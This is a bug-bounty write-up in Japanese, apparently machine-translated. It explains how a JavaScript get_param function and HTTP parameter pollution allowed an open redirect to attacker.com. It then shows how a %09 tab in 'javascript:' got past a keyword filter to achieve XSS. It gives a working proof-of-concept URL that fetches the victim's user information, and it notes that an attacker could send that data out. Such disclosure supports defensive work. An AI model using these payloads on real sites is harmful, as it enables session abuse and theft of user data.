Hello there, ('ω')ノ
パラメータ汚染を介してXSSを介してユーザ情報を盗むを。
脆弱性：
オープンリダイレクト
XSS
記事：
今回は、ソースコードレビューから始めて、一連のjavascriptファイルをレビューし。
最終的に、開発者がサーバではなく特定のアクションを実行した後に。
ユーザをリダイレクトすることをアプリケーションに許可したため。
Open Redirection+XSSに対して脆弱であると思われる２つのエンドポイントを。
見つけて。
function get_param(param) {
var params = {};
var url = window.location.href;
var start = url.indexOf('?');
start = start < 0 ? url.length : start + 1;
var end = url.indexOf('#');
end = end < 0 ? url.length : end;
var parameters = url.slice(start,end).split('&');for ( var i = 0; i < parameters.length; i++) {
var parameter = parameters[i].split('=');
params[parameter[0]] = parameter[1];
} return params[param];
}// redirection from application
window.location.href = get_param("continue_url");
テスト：
最初にオープンリダイレクトを取得しようとしましたが、continue_urlパラメータで。
他のドメインまたはペイロードが見つかったときに。
サーバが404ページにリダイレクトして。
すでにJavaのサーバ環境と、パラメータ汚染に対するその人気を知っていたので。
同じパラメータを２回追加して検証しましたが、驚いたことに。
サーバはUriの最初のパラメーターのみをチェックし。
ペイロードの影響を受けた２番目のパラメータを無視して。
サーバの制限を回避し、attacker.comにリダイレクトされたので。
巻き戻すことに。
その時点で、少し混乱していたものの、javascriptがパスを越えたことがある場合は。
get_param（param）関数に問題があることにすでに気付いているかもしれず。
開発者は、類似した名前の複数のパラメータを処理するJavaの動作を。
完全に認識していなかったか。
関数の作成時にこの問題を考慮していなかったと言えず。
したがって、この関数はパラメータの値（のみ）を。
重複したエントリで上書きするだけで。
params [parameter [0]]=parameter [1];
同じパラメータのエントリが複数ある場合、関数から取得した上記のコードは。
continue_urlの古い値を新しい値に書き換えるだけで。
したがって、提供されたパラメータを使用して上記のコード行をデバッグすると。
次のようになって。
// setting value to continue_url
params["continue_url"] = "redacted.com"; // overwriting continue_url using parameter pollution
params["continue_url"] = "attacker.com";
したがって、paramsオブジェクトには最終的に次のキー／値が含まれて。
クロスサイトスクリプティング（XSS）を介して返されたデータを。
ブラウザコンソールに表示して。
XSSの取得とユーザ情報の盗用：
サーバの事故のコツをつかんだ後、この問題をXSSにエスカレートし。
その値をjavascriptペイロード：
?continue_url=redacted.com&continue_url=javascript:alert(1)
に置き換えようとしましたものの。
残念ながらサーバは、400 Bad Requestエラーを返して。
お気に入り：
したがって、continue_urlパラメータを試してから。
パラメータの汚染によって404エラーをバイパスした後でも。
サーバは、javascriptに関連するキーワードをチェックし。
400エラーで応答を制限するセキュリティが少し残っていることがわかって。
そこで、次のテストケースを考えて。
xjavascript:alert(1) // 400 Bad Request
javaScriptx:alert(1) // 400 Bad Request
xjavascriptx:alert(1) // 400 Bad Request
javaxscript:alert(1) // 200 OK (Breaking javascript)
これらのテストケースを調べた結果、サーバは正規表現を使用して。
パラメータ文字列から可能なjavascriptキーワードを抽出して照合し。
XSS攻撃を防ぐことができるという結論に達して。
ただし、この制限を回避する簡単な方法があって。
これは、ペイロード内にurlencodedタブ文字％09を配置することで。
サーバの検証を中断するだけですが、JavaScriptはタブ文字を完全に無視するため。
アラートがポップアップ表示されるので、最終的なペイロードは次のとおりで。
javas%09cript:alert(1) // 200 OK
POCを作成している間、いつものようにユーザ情報を盗むことで。
重大度を少し上げないのではないかと考え。
現在ログインしているユーザの詳細を盗むための簡単なスクリプトを作成して。
Script:
fetch("https://redacted.com/path/to/userinfo").then(a => a.json()).then(a => console.log(a.response));
// Instead of logging user info, an attacker may send it to his/her server
// final payload
https://redacted.com/endpoint?continue_url=redacted.com&continue_url=java%09Script:fetch(%22https://redacted.com/path/to/userinfo%22).then(a%3D%3Ea.json()).then(a%3D%3Econsole.log(a.response));//
コンソールに記録された被害者の情報：
攻撃者はそれを自分のサーバに送信する可能性がありますが。
デモのためにコンソールにログインしただけで。
Best regards, (^^ゞ
